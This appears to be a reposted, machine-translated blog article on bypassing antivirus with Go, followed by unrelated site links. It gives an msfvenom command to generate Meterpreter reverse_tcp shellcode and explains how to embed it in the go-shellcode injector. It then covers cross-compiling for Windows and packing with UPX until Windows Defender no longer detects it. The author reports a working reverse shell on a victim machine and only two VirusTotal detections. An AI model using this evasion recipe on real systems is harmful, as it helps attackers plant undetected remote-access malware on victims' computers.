当前位置:网站首页>Bypass AV with golang
Bypass AV with golang
2022-07-03 00:15:00 【Lomi only bear】
In this article , I will introduce a cool trick in detail , It involves how to bypass most anti-virus products to obtain Metepreter reverse shell.
It all started with Golang Compiling Github When Repository , The repository will shellcode Inject into the running process .
https://github.com/brimstone/go-shellcode
By simply using msfvenom Generate payload , We tested it , Find out Windows Defender This payload can be easily detected .Meterpreter The payload generation is as follows :
msfvenom -p Windows / x64 / meterpreter / reverse_tcp LHOST = xxxx LPORT = xxx -b \ x00 -f hex
Use Go The advantages of this experiment are , You can change it from Linux Host cross compilation as the target Windows host . The command to compile the application is :
GOOS=windows GOARCH=amd64 go build
This will produce a Go exe file , This file will be on the command line with what the attacker wants to inject shellcode Do it together .
This is easy to detect ,Windows Defender There is no difficulty in identifying it as Meterpreter. For fast , Easily bypass , We try to use UPX Brute force cracking executable , Compress it repeatedly 8 Time .Windows Defender Catch it again , There is no luck here .
Try to use shellcode Run as a parameter Go exe file .
As usual ,Windows Defender It can be easily detected . then , We try to use UPX Compression of the sc.exe file , The file is also invalid .
Of course ,Windows Defender Once the process is detected , It will end Meterpreter conversation .
From here , Checked Go The source code of the program . After a review , Found can be modified main.go Source file to shellcode As a variable and then compile – Instead of compiling .exe, And then shellcode Add... As a command line parameter .
go-shellcode/cmd/sc/main.go source
The modified
go-shellcode/cmd/sc/main.go source
Where the reference to the command line parameter is replaced by the declared variable .
Use these files , Compiled two .exe file , One of them should not be used UPX Test under compression , And the other one will be UPX Test under compression .Windows Defender Touch the disk , The uncompressed version will be detected immediately , But it will not be detected by static analysis UPX Compression of the .exe.
Windows Defender Immediately detected no UPX Compression of the .exe contain Meterpreter Payload .
however , Run custom UPX Compression of the .exe File successfully , And realize the reverse Shell
Running successfully UPX Compression of the Go exe file , And got the reverse shell on the victim's computer .
Let's focus on VT Run it , To check its immunity .
take UPX Compression of the Go exe File upload to Virus Total. Only Cybereason and Cylance Detect the file as a malicious file .
Only two anti-virus engines found malicious loads in this file , And neither of them specifies whether the upload is malicious , It's just malicious .UPX Compression may be the cause of the alarm , because UPX Compression can be used to confuse malicious files .
In the mode of violence UPX Compression will exe File compression 8 Time .
The original text is translated to
https://labs.jumpsec.com/2019/06/20/bypassing-antivirus-with-golang-gopher-it/
Reference article
https://github.com/brimstone/go-shellcode https://boyter.org/posts/trimming-golang-binary-fat/ https://blog.filippo.io/shrink-your-go-binaries-with-this-one-weird-trick/
边栏推荐
- Interpretation of new plug-ins | how to enhance authentication capability with forward auth
- Angled detection frame | calibrated depth feature for target detection (with implementation source code)
- Request and response
- The privatization deployment of SaaS services is the most efficient | cloud efficiency engineer points north
- Maybe you read a fake Tianlong eight
- 直击产业落地!飞桨重磅推出业界首个模型选型工具
- Returns the maximum distance between two nodes of a binary tree
- leetcode 650. 2 Keys Keyboard 只有两个键的键盘(中等)
- What is the standard format of a 2000-3000 word essay for college students' classroom homework?
- Where can I find the English literature of the thesis (except HowNet)?
猜你喜欢
接口差异测试——Diffy工具
Chinatelecom has maintained a strong momentum in the mobile phone user market, but China Mobile has opened a new track
Should you study kubernetes?
流媒体技术优化
基于OpenCV实现口罩识别
Custom throttling function six steps to deal with complex requirements
论文的英文文献在哪找(除了知网)?
sysdig分析容器系统调用
MATLAB signal processing [Q & a notes-1]
Mutual exclusion and synchronization of threads
随机推荐
容器运行时分析
Question e: merged fruit -noip2004tgt2
yolov5test. Py comment
顶级 DevOps 工具链大盘点
Mapper agent development
Dishes launcher small green program and directory management (efficiency tool)
[shutter] open the third-party shutter project
Highly available cluster (HAC)
Bean加载控制
Interpretation of new plug-ins | how to enhance authentication capability with forward auth
ArrayList analysis 2: pits in ITR, listiterator, and sublist
Open Source | Wenxin Big Model Ernie Tiny Lightweight Technology, Accurate and Fast, full Open Effect
collections. What is the purpose of chainmap- What is the purpose of collections. ChainMap?
请问大家在什么网站上能查到英文文献?
Program analysis and Optimization - 9 appendix XLA buffer assignment
35 pages dangerous chemicals safety management platform solution 2022 Edition
MFC文件操作
Leetcode skimming - game 280
Which software can translate an English paper in its entirety?
接口差异测试——Diffy工具